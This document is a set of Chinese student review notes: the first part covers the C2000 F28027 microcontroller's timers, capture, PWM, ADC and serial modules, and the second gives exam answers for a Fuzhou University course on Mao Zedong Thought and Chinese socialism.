增减计数模式的计数方向由定时器自动设置，当计数器的值增加到周期值时，计数方向由增计数自动改为减计数，同样，当计数值减到0时，计数方向由减计数自动改为加计数。这种工作模式下定时器的定时时间T为：T=Tclk×(PDR×2)T=T_{clk} × (PDR×2)T=Tclk×(PDR×2)

2、C2000的定时器（3个定时器、时钟基准SYSCLKOUT、减计数方式、预分频、周期、定时时间计算）#

F28027有3个32位的定时器TIMER0、TIMER1和TIMER2，三个定时器均采用减计数工作模式。TIMER0和TIMER1提供给用户使用，TIMER2提供给实时操作系统使用。时钟基准默认为系统时钟SYSCLKOUT。

预分频计数器（PSCH）的触发信号是系统时钟信号（SYSCLKOUT）。每个时钟周期PSCH，当PSCH，发出脉冲信号（Borrow），该信号作为计数器（TIMH）的时钟信号，同时触发寄存器TDDRH:TDDR的值重新装载到寄存器PSCH。

定时器的工作流程是：每经过(TDDRH+1)个时钟周期计数器（TIMH）减1，当计数器TIMH。

Example

假设系统时钟是 1MHz（即1微秒一个脉冲）。

如果 TDDRH:TDDR = 0，预分频系数是1，则主计数器每 1 微秒减 1。
如果 TDDRH:TDDR = 99，预分频系数是100，则主计数器每 100 微秒才减 1。

定时时间：T=(TDDRH:TDDR+1)×(TIMH:TIM+1)×TclkT=(TDDRH:TDDR+1)×(TIMH:TIM+1)×T_{clk}T=(TDDRH:TDDR+1)×(TIMH:TIM+1)×Tclk

CH8 增强型捕获模块#

1、捕获模块基础知识#

捕获模块可以捕获MCU引脚的电平跳变（上升沿、下降沿），并记录电平跳变的时刻。捕获模块也有对时间的处理，也是通过计数器来实现的。捕获模块可以用于外部事件的精确时间测量。只要被检测信号能够转换为脉冲信号，捕获模块就可以对该脉冲信号进行捕获。

2、计数器工作模式：增计数#

3、C2000的eCAP（概述、功能（预分频、边沿极性、连续/单次模式、事件决策、捕获寄存器、中断控制）#

单触发捕获模式：捕获1-4个事件后停止捕获连续捕获模式：循环进行1-4个事件的捕获中断功能：4个捕获事件都可以触发中断捕获模式不使用时，eCAP模块可以配置为单通道PWM输出

预分频器可以对输入脉冲信号进行预分频（2-62分频，2的倍数），或者直接旁路，不经过预分频器。

边沿极性可以选择上升沿捕获或下降沿捕获。eCAP模块有4个独立的边沿极性选择，每一个分别对应一个捕获事件。

Modulo 4 counter：事件触发计数器，由捕获事件触发计数。计数值只能是0、1、2、3。

输入信号经过事件预分频（Event prescale）、极性选择（Polarity select）后到达事件决策模块（Event qualifier）。事件决策模块根据捕获模式（Continuous/Oneshot Capture Control）的配置，产生装载捕获寄存器的触发信号（LD1LD4），把捕获计数器（TSCTR）的当前值CTR装载到捕获寄存器中（CAP1、CAP2、CAP3、CAP4）。根据复位配置（CTRRSTx）可输出信号（Delta mode）复位捕获计数器。捕获事件（Capture events）可发出捕获事件中断信号（CEVT）给PIE。另外，eCAP1 eCAP4可通过时钟同步信号（SYNCIn）进行计数器初始值（CTRPHS）的装载。

捕获事件1设置为上升沿触发，差分模式，当上升沿捕获时，计数器清0，开始新的周期计数；捕获事件2设置为下降沿触发，绝对值模式，这样CAP2即对应高电平的周期值；CAP1的值对应波形周期值。

eCAP捕获模式时有5个中断事件，即捕获事件1（CEVT1）、捕获事件2（CEVT2）、捕获事件3（CEVT3）、捕获事件4（CEVT4）、TSCTR计数器溢出（CTROVF）（计数值从FFFFFFFF回到00000000）。

CH9 增强型脉宽调制模块#

1、PWM基础知识#

PWM是Pulse Width Modulation的缩写，即脉冲宽度调制，也就是宽度可调节的方波脉冲。相关的参数：周期、频率和占空比

周期T：输出一次脉冲，即输出一次完整的高低电平的时间
频率f：周期的倒数，即 f=1Tf=\frac{1}{T}f=T1
占空比D：一个周期内，脉冲高电平时间与周期的比值（D=ThighTD=\frac{T_{high}}{T}D=TThigh）

PWM信号有两种产生方法：模拟电子方法和数字化方法。

模拟电子方法：由三角波或锯齿波发生器产生高频调制波，经比较器产生PWM信号。三角波或锯齿波与可调直流电源比较，产生占空比可调的PWM信号；与正弦基波比较，产生占空比按正弦规律变化的SPWM信号。

数字化方法（主流）：与硬件构成PWM信号类似，数字逻辑将锯齿波发生器等效为一个计数器Count，将可调直流电源等效为比较点Compare。数字控制产生PWM需要3个寄存器：计数器、周期值和比较值。通过配置周期值和比较值就能够产生任意频率、占空比的PWM信号。

2、C2000的ePWM（TB子模块、CC子模块、AQ子模块、ET子模块）#

时基子模块（TB）功能：每个ePWM单元都有一个独立的时基单元，用来决定该ePWM模块相关的事件时序。通过同步输入信号可以将所有的ePWM工作在同一时基信号下，即所有的ePWM级联在一起，处于同步状态，可以看成一个整体。

TB 模块的主要功能：

预分频功能（Clock Prescale）
PWM周期值（TBPRD）
时基计数器TBCTR
时基时钟同步
时基计数器相位控制

系统时钟预分频后作为TB子模块的时钟信号，分频系数由寄存器TBCTL[HSPCLKDIV]和TBCTL[CLKDIV]决定。HSPCLKDIV的值为x，则如果x为0，则分频系数为1，如果x不为0，则分频系数为2x；如果CLKDIV的值为y，则分频系数为2y。

Example

本书案例设置SYSCLKOUT为60MHz，如果HSPCLKDIV=0，CLKDIV=1，则TBCLK=30MHz。

PWM周期值TBPRD有两个寄存器：影子寄存器（Period Shadow）和活动寄存器（PeriodActive）。它们具有相同物理地址。由TBCTL[PRDLD]位控制周期寄存器的工作模式：影子寄存器模式 (=0) 或立即加载模式 (=1)。默认情况下TBPRD采用影子寄存器模式。在影子寄存器模式下，对TBPRD的读写操作是对影子寄存器进行的，只有当TBCTR=0时，影子寄存器的值加载到工作寄存器。

时基计数器的计数模式有三种模式，分别是：增计数模式、减计数模式和增减计数模式。在这三种计数模式中，一个有效的TBCLK，时基计数器变化率为1。

每个ePWM模块的时基时钟TBCLK是独立的，它们都是由系统时钟信号SYSCLKOUT分频得到。在CLK模块中，提供一个同步开关TBCLKSYNC，当这个开关有效（置位）时，所有工作的ePWM模块的时基计数器TBCTR同步于TBCLK的第一个上升沿。每个ePWM模块的分频必须设置一样。

每个ePWM模块拥有一个同步信号输入(EPWMxSYNCI)和一个同步信号输出(EPWMxSYNCO)。第一个ePWM模块（ePWM1）的同步输入信号是来自芯片的引脚。同步信号还控制关联的捕获（eCAP）模块。同步脉冲信号实现不同ePWM模块的同步，而且通过TBPHS实现各ePWM模块的相位超前和滞后的控制。当同步输入信号发生时，时基相位TBPHS装载到时基计数器TBCTR，装载时刻一致，同步实现。如果ePWM模块的TBPHS不为零，那么在同步信号作用下，TBPHS的值就装载进TBCTR，各个ePWM模块就存在计数初值的不同，也就是存在相位差。

CC子模块主要功能是对TB子模块的计数器值TBCTR与给定的比较值进行比较，产生比较相等的事件，该事件作为后续AQ子模块的触发事件。有两个比较寄存器CMPA和CMPB

它们分别有两个寄存器：影子寄存器和工作寄存器。影子寄存器和工作寄存器具有相同的物理地址。由CMPCTL[SHDWAMODE]或CMPCTL[SHDWBMODE]位控制比较值寄存器的工作模式：影子寄存器模式或立即加载模式。对CMPA的写操作是对影子寄存器进行的。在设置的特殊时刻，影子寄存器的值加载到工作寄存器。加载的特殊时刻由CMCTRL[LOADMODE]决定，可以在CTR=0时刻、CTR=PRD时刻或两者都可以。

比较功能子模块可以产生两个独立的比较事件，对于增计数或减计数，在一个PWM周期内，比较事件只发生一次。对于增减计数模式，在一个PWM周期内，如果比较寄存器的值在0~TBPRD之间，在一个PWM周期内，比较事件发生两次。

AQ子模块决定了相应事件发生时应该输出什么样的电平。该模块是基于事件驱动的，可以认为该子模块输入的就是事件，输出的是动作。每个子模块有两路独立输出EPWMA和EPWMB

AQ子模块的输入事件有4种，事件发生时触发AQ子模块，分别是：

CTR = PRD，计数器寄存器TBCTR的值与周期寄存器TBPRD相等时；
CTR = Zero，计数器寄存器TBCTR的值等于0时；
CTR = CMPA，计数器寄存器TBCTR的值等于比较寄存器CMPA；
CTR = CMPB，计数器寄存器TBCTR的值等于比较寄存器CMPB

将计数方向输入给AQ子模块，能够把计数比较事件细分为增计数情形的计数比较事件（CAU和CBU）和减计数情形的计数比较事件（CAD和CBD）。除了以上外部事件外，还可以用软件强制触发。通过设置寄存器AQSFRC、AQCSFRC，产生一个软件强制事件。该软件强制事件可以是单次作用，也可以是连续作用。

AQ子模块控制在触发事件产生时，2路PWM输出EPWMxA和EPWMxB表现出何种行为。PWM输出EPWMxA 和 EPWMxB可以设置为以下的动作：

置高，EPWMxA或EPWMxB输出高电平；
置低，EPWMxA或EPWMxB输出低电平；
翻转，EPWMxA或EPWMxB输出电平与之前的电平相反；
无动作，EPWMxA或EPWMxB的输出状态不变。

Warning

任何有效事件都能用来产生预定的动作，例如事件 CTR=CMPA 和 CTR=CMPB 都可以作用于EPWMxA，不要认为A的事件只能用来产生A的PWM输出。

AQ在硬件上也设计有事件的优先级。在众多事件中，软件强制的优先级始终是最高的。在增减计数下，CTR = CMPB 优先于 CTR = CMPA；增计数方向上，增事件优先于减事件，CTR = Zero在中间；减计数方向上，减事件优先于增事件，CTR = PRD在中间

如果是增/减计数，那么就排除减/增计数方向和减/增事件。

死区，通常叫死区时间（dead time），用于避免功率开关控制信号翻转时发生误触发的情况。死区子模块 (DB) 就是起到延时导通的作用。实现的功能有：死区发生器时钟选择、死区时间的设置、输入源选择（DBCTL[IN_MODE]）、极性选择（DBCTL[POLSEL]）、输出模式（DBCTL[OUT-MODE])

死区发生器产生波形上升沿延时RED和下降沿延时FED，它是通过10位计数器来实现的。计数器时钟DBCLK可以选择为：

fDBCLK=fTBCLK，即与TBCLK同频，称为周期时钟
fDBCLK= 2×fTBCLK，即为TBCLK的2倍频，称为半周期时钟

死区时延时间计算公式为： FED=DBFED×TTBCLKFED = DBFED × TTBCLKFED=DBFED×TTBCLK RED=DBRED×TTBCLKRED = DBRED × TTBCLKRED=DBRED×TTBCLK 其中TTBCLKTTBCLKTTBCLK是时基时钟TBCLK的周期。如果选择半周期时钟，则TTBCLKTTBCLKTTBCLK也取半。

通过对应开关控制，死区子模块的输入信号是动作限定子模块的输出信号，记为EPWMxA in和EPWMxB in。信号源可以设置为：

EPWMxA in 作为上降沿和下升沿延时的信号源，该模式是缺省模式。
EPWMxA in 作为上降沿延时的信号源，EPWMxB作为下升沿延时的信号源。
EPWMxA in 作为下升沿延时的信号源，EPWMxB作为上降沿延时的信号源。
EPWMxB in 作为上降沿和下升沿延时的信号源。

事件触发与中断管理 (ET) 子模块主要功能有：

管理由时基子模块、比较子模块所产生的事件，这些事件可用于产生PIE中断 EPWMxINT 和 ADC 转换启动信号 EPWMxSOCA 和 EPWMxSOCB
允许软件强制触发中断和启动ADC转换
通过事件分频机制，灵活设置输出触发事件的频度

可用于ET子模块的输入事件信号有：

CTR=Zero：计数器寄存器的值为0，TBCTR =0
CTR=PRD：计数器寄存器的值为PRD，TBCTR =PRD
CTR=Zero 或 CTR=PRD：TBCTR = 0或TBCTR = period
CTRU=CMPA：在计数器增计数时，TBCTR=CMPA，CTR_dir=1
CTRD=CMPA：在计数器减计数时，TBCTR=CMPA，CTR_dir=0
CTRU=CMPB：在计数器增计数时，TBCTR=CMPB，CTR_dir=1
CTRD=CMPB：在计数器减计数时，TBCTR=CMPB，CTR_dir=0
软件产生的强制事件信号

每个ePWM的ET子模块拥有的输出事件信号有：

1路PIE中断，EPWMxINT
2路ADC启动信号，EPWMxSOCA和EPWMxSOCB

PWM周期：T=(N+1)×TclkT=(N + 1)×T_{clk}T=(N+1)×Tclk

占空比与比较值：Thigh=CMP+TclkT_{high} = CMP + T_{clk}Thigh=CMP+Tclk

3、软件思维导图#

引脚配置：

配置引脚功能（GPIO_setMode）
配置引脚方向（GPIO_setDirection）
使能/禁止内部上拉电阻（GPIO_setPullUp）
输入配置为异步系统时钟（GPIO_setQualification）

功能配置：

PWM时基时钟关闭（CLK_disableTbClockSync(myClk)
PWM时钟设置（PWM_setHighSpeedClkDiv、PWM_setClkDiv）
PWM计数模式设置（PWM_setCounterMode）
PWM动作限定设置（AQ模块）
计算PWM的周期、周期设置（PWM_setPeriod）
计算PWM的占空比、占空比设置（CC模块）
设置PWM死区（DB模块,可选项）
设置PWM斩波（PC模块，可选项）
设置PWM故障联防（TZ模块，可选项）
PWM时基时钟开启（CLK_enableTbClockSync）
PWM事件触发与中断管理（ET模块）

中断事件配置：

中断入口地址注册（PIE_registerPieIntHandler）
PWMx事件中断使能（PWM_enableInt）
PIE级中断使能（PIE_enableInt）
CPU级中断使能（CPU_enableInt）

中断服务程序：

在PWM中断服务程序里完成比较点的更新或其他任务
清除PWM中断标志位和对应的PIE中断应答位PIEACKx。

CH10 模/数转换器#

1、ADC基础知识#

模拟数字转换器（Analog to Digital Converter, ADC），也称模数转换器，是将连续变化的模拟信号转换为离散的数字信号的电子器件。因为CPU只能处理数字量，所以需要把外部待测量的模拟量转换为数字量

输出量为待测量的电压、电流、温度、压力、流量、速度等物理量，这些物理量先经过传感器变换为电信号，再调制成符合ADC模块输入电压范围的电压模拟量，最后送给ADC模块转换为数字量，实时控制系统可以对该数字量进行处理

输入的模拟信号在时间上是连续的，而输出的数字信号是离散的。将连续的模拟量转换为离散的数字量通常要经过3个步骤：采样保持、量化、编码。

采样是将随时间变化的模拟量转换为在时间上离散的模拟量，保持则将所采样的模拟信号值保持一段时间，以使得后续的量化编码过程中信号值不发生变化。
采样后每个脉冲的幅度仍然是连续的，必须对每个脉冲的幅度进行离散化处理。将采样保持电路输出的电平转换为量化单位的整数倍的过程称为量化。
把量化的结果用二进制表示出来叫做编码。

ADC的主要性能参数有量程、分辨率、精度、转换时间、量化误差、偏移误差等。除此之外，其他指标还有：绝对精度、相对精度、微分非线性、单调性和无错码、总谐波失真和积分非线性等等。

量程是指ADC所能转换的模拟输入电压的范围，分为单极性和双极性两种类型。

量化时需要把电平转换为量化单位的整数倍，因为模拟电压是连续的，它不一定能被量化单位整除，因而不可避免地会存在量化误差。AD分辨率越高，量化误差越小。一般是1个或0.5个最小数字量的模拟变化量，表示为1LSB或0.5LSB

分辨率（Resolution）：指ADC能分辨的最小模拟输入量。从理论上来讲，n位输出的ADC能区分2n个不同等级的输入模拟电压，能区分输入电压的最小值为满量程输入的12n\frac{1}{2^n}2n1。

精度（Accuracy）：精度是指对于ADC的数字输出（二进制代码），其实际需要的模拟输入值与理论上要求的模拟输入值之差。

转换时间（Conversion time）：ADC完成一次AD转换所需要的时间，是指从启动ADC开始到获得相应数据所需要的时间。一般来讲，ADC的分辨率越高，转换时间就越长。

偏移误差（Offset Error）：模拟量输入信号为零时，数字量输出不为零的值。

增益误差（Gain Error）：满刻度输出时对应的模拟输入量与理想的模拟输入量之差。

ADC的主要类型：

逐次逼近型ADC属于直接式ADC，其原理可理解为将输入模拟量逐次与UREF/2、UREF/4、UREF/8、…、UREF/2N-1作比较，模拟量大于比较值取1（并减去比较值），否则取0。逐次逼近型ADC转换精度高，速度较快，价格适中，是目前种类最多、应用最广的AD转换器
积分型ADC是一种间接式ADC，其原理是将输入模拟量和基准量通过积分器积分，转换为时间，再对时间计数，计数值即为数字量。优点是转换精度高，缺点是转换时间较长。
并行比较型ADC的主要原理是将参考电压分为 2N−12^N-12N−1 个等级（对于 NNN 位的ADC），通过 2N−12^N-12N−1 个比较器和输入模拟电压进行比较，比较器的输出状态由触发器存储，经编码器编码，得到数字量输出。速度快，但其分辨率不高。
压频变换型ADC是一种间接式ADC，其原理是将模拟量转换为频率信号，再对频率信号计数，转换为数字量。精度高，功耗较低，抗干扰能力强，便于长距离传送，但转换速度较低。
∑-Δ型ADC又称为过采样型ADC，是目前分辨率最高的ADC。它主要由采样/保持电路、模拟低通滤波器、DAC及数字滤波器构成。大多数的模块都是由数字电路搭建，一些噪声对其的影响很小。
流水线型ADC的原理是将多级比较网络级联在一起，每一级得到一位数字码。如果需要的是n位数字码，则需要比较n次。每次输入的信号必须从头传到尾才算完成了一次量化编码。其优点是高速、高精度，低功耗，芯片面积小，同时具有优异的动态特性。

2、C2000的ADC（12位ADC内核、量程、SOC）#

具有内置双采样保持(S/H)的12位ADC内核

ADC内核包含一个12位转换器，转换器为部分逐次逼近型、部分流水线型。转换器的模拟参考电平可以配置为外部电压基准(VREFHI/VREFLO)，也可以配置为内部电压基准。

全范围模拟输入：0V 至 3.3V，或者 VREFLO 到 VREFHI

F28027有13个ADC引脚可以与外部模拟量相连，分为两组，包括 ADCINA（ADCINA7、ADCINA6、ADCINA4、ADCINA3、ADCINA2、ADCINA1、ADCINA0等7个引脚）和ADCINB（ADCINB7、ADCINB6、ADCINB4、ADCINB3、ADCINB2、ADCINB1等6个引脚）。在芯片内部，内置温度传感器占用A5输入，参考电压VREFLO占用B5输入，ADCINA5、ADCINB5和ADCINB0没有外接引脚。

ADC的工作是基于SOC控制的，SOC信号送到ADC采样决策辑模块（ADC Sample Generation Logic）进行决策，产生相应的控制信号：通道选择（CHSEL）、采样窗设置（ACQPS）和开始转换触发信号（SOC）。

每个SOC可以独立配置：转换的通道、采样窗宽度和选择开始转换的触发源。转换方式灵活：用同一个触发源对不同的通道进行采样；用不同的触发源对不同的通道进行采样；也可以用一个触发源对同一个采样通道进行多次采样的过采样。

输入电路包括通道选择和采样/保持电路。ADC模块输入的通道有16个（F28027只有13个，见概述说明），分为A组和B组，各8个。当使用外部参考电平时，电平VREFHI占用ADCINA0引脚，ADCINA0不能当作采样输入口。

采样窗的配置信号ACQPS来自采样决策模块。ADC的采样保持电路必须快速准确地跟踪被采样的信号ADCIN。AD处理总的时间等于采样时间和转换时间之和。

ADC触发源用于启动SOC配置的通道开始AD转换。每个SOC的触发源可以配置为以下任意一个事件：

软件立即触发
ePWM 1-4的SOCA和SOCB
外部中断2，GPIO XINT2
CPU定时器0/1/2中断
ADCINT1/2。用ADC转换结束中断信号作为触发事件，
可以用于通道的连续转换控制。

ADC转换的结果保存在结果寄存器ADCRESULTx中。保存方式是：顺序采样时，SOCx触发的通道转换结果保存在对应的ADCRESULTx中，序号一一对应。对于同步采样，通常只用偶数的SOCx，该SOCx配置的一对通道转换后结果保存在ADCRESULTx和ADCRESULT（x+1）中，分别对应A组和B组的转换结果。

当多个SOC被同时触发时，需要通过优先级来决定哪个SOC对应的通道优先被转换。采样优先级有两种模式：Round Robin模式和具有高优先级的Round Robin模式。

Round Robin模式：是由SOC0~SOC15组成的一个头尾相接，方向固定的循环闭环。优先级由循环指针RRPOINTER决定。当前RRPOINTER的值表示上一次被转换的SOC，那么它的下一个SOC具有最高的优先级。ADC模块复位后，RRPOINTER=20h，表示没有SOC被转换，那么SOC0具有最高优先级。
具有高优先级的Round Robin模式：该模式可以设置某些SOC具有高优先级，这些高优先级的SOC可以打断Round Robin的循环顺序，优先进行转换。多个高优先级的SOC，序号低的优先级高。

对应于16个独立的SOCx，有相应的16个采样结束信号EOCx。ADC模块有9个中断输出信号，即ADCINT1~ADCINT9。任意一个EOCx脉冲都可以配置为ADCINTx的触发源。

CH11 串行通信接口#

1、串行通信的基础知识#

MCU通信的数据是以字节为单位进行传输，其中每个字节包括多个数据位，根据数据位传输方式的不同，MCU通信可分为串行通信和并行通信。

串行通信定义：字节中的数据一位一位依次传送的通信方式，具有传输信号线少、传输距离远等优点，但传输速度慢。

并行通信定义：字节中的所有数据位同时传送的通信方式，传输速度快，但是所需传输信号线多，适用于近距离通信。

SCI串行通信仅需接收和发送两根信号线，8位并行通信则需8根信号线。这两种通信方式除了信号线外，还需一根零电位参考线。

根据电平与数据对应的不同形成不同的编码方式，可分成RZ编码（Return Zero Code）、NRZ (Not Return Zero Code) 和NRZI（Not Return Zero Inverted Code）等。

在RZ编码中，正电平代表逻辑1，负电平代表逻辑0，并且每传输完一位数据信号返回到零电平

与RZ编码不同的是，NRZ编码电平不需要归零，因此只需采用高、低两种电平即可进行数据传输。

NRZI编码使用信号的翻转代表一种逻辑，信号保持不变代表另外一种逻辑，如“0”对应电平翻转，“1”电平保持不变。

数据在信号线上传输时需要满足一定的规范，才能使得通信双方正确地收发数据。通常以帧（frame）为单位进行数据传输。

从开始位到结束位的时间间隔称为一帧，通常一帧数据包括1位开始位、8位数据位、1到2位的停止位。

异步串行通信过程中，通信双方的发送和接收步调要一致才能保证传输数据的正确接收。因此，通过波特率（Boad Rate）来实现通信双方的步调一致，波特率是用来描述数据传输的速率。常用的波特率有600、2400、4800、9600、19200、38400、57600、115200、128000等。通信距离越长的时候通常选用越低的波特率。

在一帧数据中增加一位奇偶校验位用于错误检测。奇校验时，如果数据位1的个数是奇数，则校验位为0；如果1的个数为偶数，则校验位为1。偶校验时，如果数据位1的个数是奇数，则校验位为1；如果1的个数为偶数，则校验位为0。

串行通信根据接线的不同，有单工、半双工、全双工三种传输方式。

单工通信：数据传输是单向的，除了地线外，只有一根数据线。
半双工通信：数据传输是双向的，但是只有一根数据线，发送和接收不能同时进行。
全双工通信：数据传输是双向的，有两根独立的数据线，发送和接收可以同时进行。

2、C2000的SCI（波特率、数据帧）#

SCI的波特率由时钟LSPCLK和波特率配置寄存器控制。LSPCLK由系统时钟模块的低速外设时钟预分频寄存器配置，波特率选择寄存器为16位寄存器，有65536种不同的波特率选择。

假设16位波特率配置寄存器配置值为BRR，则对应的波特率计算方法为：

Baud=LSPCLK(BRR+1)∗8,1≤BRR≤65535Baud=\frac{LSPCLK}{(BRR+1)*8}, 1≤BRR≤65535Baud=(BRR+1)∗8LSPCLK,1≤BRR≤65535 Baud=LSPCLK16,BRR=0Baud=\frac{LSPCLK}{16}, BRR=0Baud=16LSPCLK,BRR=0

帧格式配置：

1位开始位；
1-8位数据位；
1位地址和数据的识别位（针对地址位方式的多机模式）
1位可选的奇偶校验位
1或2位停止位

需要学会画出帧的波形表示。

CH12 实验#

总共 4 次实验，代码运行结果需要给老师测试。实验代码可以参考文字辅导材料、视频教程（CCS软件开发---F28027）和 AI。由于是小组形式，因此可以组内外私下交流。老师一般不会要求你解释代码功能，只会让你向他展示运行结果。

建议早测试早结束。大部分人都是将测试积压到后面的课时，导致组内和组间需要竞争测试机会——一次课只有一个半小时，还不算理论教授时间。最极端的情况下，你可能需要和老师单独约定时间测试。

注意基础配置：什么文件在哪个文件夹，各类初始化在哪个文件。在考试中需要回忆得起来，因为有程序填空题。

福州大学毛概期末复习

Wed, 10 Jun 2026 22:28:40 GMT

最终成绩：76 分

考试流程#

考试时间 100 分钟，前 60 分钟为论述题回答时间，后 40 分钟为选择题回答时间。选择题使用超星学习通系统，论述题回答结束后也上传一份电子档至学习通。

答题纸左侧为第 1 题答题区域，右侧为第 2 题答题区域。论述题回答时间内，不得使用手机。论述题回答结束时，将回答结果拍照上传至学习通，5 分钟内提交答题纸。

问答题#

Q1 什么是马克思主义中国化时代化？#

（定义）马克思主义中国化时代化，就是立足中国国情和时代特点，坚持把马克思主义基本原理同中国具体实际相结合、同中华优秀传统文化相结合，深入研究和解决中国革命、建设、改革不同历史时期的实际问题，真正搞懂面临的时代课题，不断吸收新的时代内容，科学回答时代提出的重大理论和实践课题，创造新的理论成果。

（内涵）运用马克思主义的立场、观点、方法，观察时代，把握时代，引领时代，解决中国革命、建设、改革中面临的实际问题；总结和提炼中国实践经验，并上升为理论，以指导新的实践，赋予马克思主义新的时代内涵和实践要求；运用中国人民喜闻乐见的民族语言来阐述马克思主义、使其植根于中华优秀传统文化的土壤之中,具有中国特色、中国风格、中国气派。准确把握马克思主义中国化时代化的科学内涵，要做到坚持马克思主义和发展马克思主义相统一，要做到同中国具体实际、同中国优秀传统文化相结合。

Q2 如何理解马克思主义中国化时代化是“一脉相承又与时俱进的关系”？（已考）#

一脉相承：都坚持马克思主义基本原理，都立足中国实际与时俱进：每个理论都回答了不同历史时期面临的主要问题；后一个理论都是对前一个理论的继承、丰富和发展

一方面，毛泽东思想所蕴含的马克思主义的立场、观点和方法，为中国特色社会主义理论体系提供了基本遵循。另一方面，中国特色社会主义理论体系在新的历史条件下进一步丰富和发展了毛泽东思想。

（举一个例子，建议从“实事求是、群众路线、独立自主”中选。比如群众路线 -> “三个有利于”（邓）-> “三个代表”（江）-> 科学发展观（胡）-> 习近平思想，论述后面发展的理论如何传承毛泽东思想中的“群众路线”）

Tip

“三个有利于”：是否有利于发展社会主义社会的生产力、是否有利于增强社会主义国家的综合国力、是否有利于提高人民的生活水平 “三个代表”：中国共产党始终代表中国先进生产力的发展要求、始终代表中国先进文化的前进方向、始终代表中国最广大人民的根本利益科学发展观：坚持以人为本，全面、协调、可持续的发展观。发展为了人民、发展依靠人民、发展成果由人民共享

Q3 为什么新民主主义革命属于资产阶级民主主义革命？#

近代中国半殖民地半封建社会的性质和中国革命的历史任务，决定了新民主主义革命的性质是资产阶级民主主义革命。新民主主义革命在政治上争取和联合民族资产阶级，在经济上保护民族工商业。它要建立的是无产阶级领导的各革命阶级的联合专政，而不是无产阶级专政。

新民主主义革命时期中国革命的历史任务

反对帝国主义、封建主义、官僚资本主义，争取民族独立、人民解放，为实现中华民族伟大复兴创造根本社会条件。

Q4 说明新旧民主主义革命的区别（“新”在哪里？）#

新民主主义革命处于世界无产阶级社会主义革命的时代，是世界无产阶级社会革命的一部分；革命的领导力量是中国无产阶级及其先锋队——中国共产党；革命的指导思想是马克思列宁主义；革命的前途是社会主义而不是资本主义。

Q5 为什么说“新民主主义社会是一个过渡性的社会”？（已考）#

新民主主义社会不是一个独立的社会形态，而是由新民主主义转变到社会主义的过渡性的社会。

（生产力）新民主主义社会中存在着五种经济成分，其中主要的经济成分是三种：社会主义经济、个体经济和资本主义经济。通过没收官僚资本而形成的社会主义的国营经济，掌握了主要经济命脉，居于领导地位；而以农业和手工业为主体的个体经济，则在国民经济中占绝对优势。新民主主义社会要继续向前发展，就要不断扩大国营经济，同时逐步将资本主义经济和个体经济转变为社会主义经济，使社会主义经济逐步成为我国的经济基础。

（基本纲领）

政治上：推翻帝国主义、封建主义和官僚资本主义的反动统治，建立无产阶级领导的，以工农联盟为基础的，各革命阶级联合专政的新民主主义国家。这是过渡形式。
经济上：没收封建地主阶级的土地归农民所有，没收官僚资产阶级的垄断资本归新民主主义国家所有，保护民族工商业。
文化上：是无产阶级领导的人民大众的反帝反封建的文化，是民族的、科学的、大众的文化。

（主要矛盾）土地改革完成后，工人阶级和资产阶级的矛盾逐渐成为我国社会的主要矛盾。只有解决了这一矛盾，才能使中国社会实现向社会主义的转变。

新民主主义社会是属于社会主义体系的，是逐步过渡到社会主义社会的过渡性质的社会。为了促进社会生产力的进一步发展，为了实现国家富强、民族复兴、人民幸福，我国新民主主义社会必须适时地逐步过渡到社会主义社会。

Q6 为什么进行社会主义改造？#

我国有极其广大的个体农业和手工业及在国民经济中占很大一部分比重的资本主义工商业，要求一个相当长的时期改造它们。
经过 1949 年到 1952 年三年的努力，我国已经有了相对强大和迅速发展的社会主义国营经济。这为党提出向社会主义过渡的总路线提供了物质基础。
国内的资本主义力量弱小，发展困难，不可能成为中国工业起飞的基础。
党总结在国民经济恢复时期在老解放区大力推广农业互助组和初级合作社的经验。这也为党提出向社会主义过渡的总路线提供了重要依据。
新中国成立初期，国家在利用和限制资本主义工商业的过程中所积累的经验，成为对资本主义经济进行社会主义改造的最初步骤。
当时的国际形势也有利于中国向社会主义过渡。苏联社会主义的发展已经显示出相对于资本主义的优越性，对我国有重要的借鉴作用。

Q7 为什么不是走资本主义工业化，而是走社会主义工业化道路？#

从历史上看，实现工业化有两条道路：一条是资本主义工业化道路，另一条是社会主义工业化道路。

“资本主义道路，也可增产，但时间要长，而且是痛苦的道路。我们不搞资本主义，这是定了的。”——毛泽东

三个“不”：

等不起：资本主义工业化开始于 18 世纪 60 年代英国的产业革命，至 19 世纪后期，主要资本主义国家先后完成了工业化。我国和资本主义国家有上百年的发展差距，不是短时间内可以弥补的。当时的中国必须在比较短的时间内实现自身实力的提升。
玩不起：资本主义通过剥削、掠夺实现资本原始积累。我国不可能选择对外侵略，必须依靠自身力量实现工业化。
走不起：以美国为首的西方资本主义阵营对我国实施长期封锁、禁运和军事威胁；与之同时，苏联等社会主义国家向我国提供了援助和宝贵经验。当时的时代条件和国际环境的新特点促使中国人民选择走社会主义道路。

Q8 如何理解改革开放前后历史时期关系？#

前 30 年在重大挫折中取得了巨大成就，全盘否定前 30 年的历史是极端错误的。毛泽东等开国元勋带领全国人民进行社会主义革命和建设，取得了巨大成绩；前 30 年属于探索时期，出现错误在所难免。
改革开放前后时期是探索、铺垫与继承、发展的关系。改革开放前的社会主义实践探索为改革开放后的社会主义实践探索积累了经验并准备了条件，改革开放后的社会主义实践探索是对前一个时期探索的坚持、改革、发展。
对改革开放前的社会主义实践探索，要坚持实事求是，分清主流和支流，坚持真理，修正错误，发扬经验，吸取教训。

Q9 如何理解国内改革和国外开放的关系？#

开放也是改革。对外开放是建设中国特色社会主义的一项基本国策。对外开放之所以重要，是因为历史经验一再告诉我们，关起门来搞建设是不行的，把自己孤立于世界之外是不利的。对外开放，包括对发达国家的开放，也包括对发展中国家的开放，是对世界所有国家的开放。它不仅是经济领域的开放，还包括科技、教育、文化等领域的开放。

改革是开放的基础与内因，国内制度完善、市场统一和营商环境优化，决定了对外开放的深度与能级，为高水平开放提供制度支撑。开放是改革的催化剂与压力测试，通过对接国际高标准经贸规则，引入外部竞争，倒逼国内体制机制创新，破除利益固化藩篱，实现“以开放促改革”。

Q10 如何理解社会主义市场经济制度中政府和市场的关系？#

“计划经济不等于社会主义，资本主义也有计划；市场经济不等于资本主义，社会主义也有市场。”——邓小平

社会主义市场经济理论的要点：一是计划经济和市场经济不是划分社会制度的标志，计划经济不等于社会主义，市场经济也不等于资本主义；二是计划和市场都是经济手段，对经济活动的调节各有优势和长处，社会主义实行市场经济要把两者结合起来；三是市场经济作为资源配置的一种方式本身不具有制度属性，可以和不同的社会制度结合，从而表现出不同的性质。

Q11 为什么说“改革是中国的第二次革命”？#

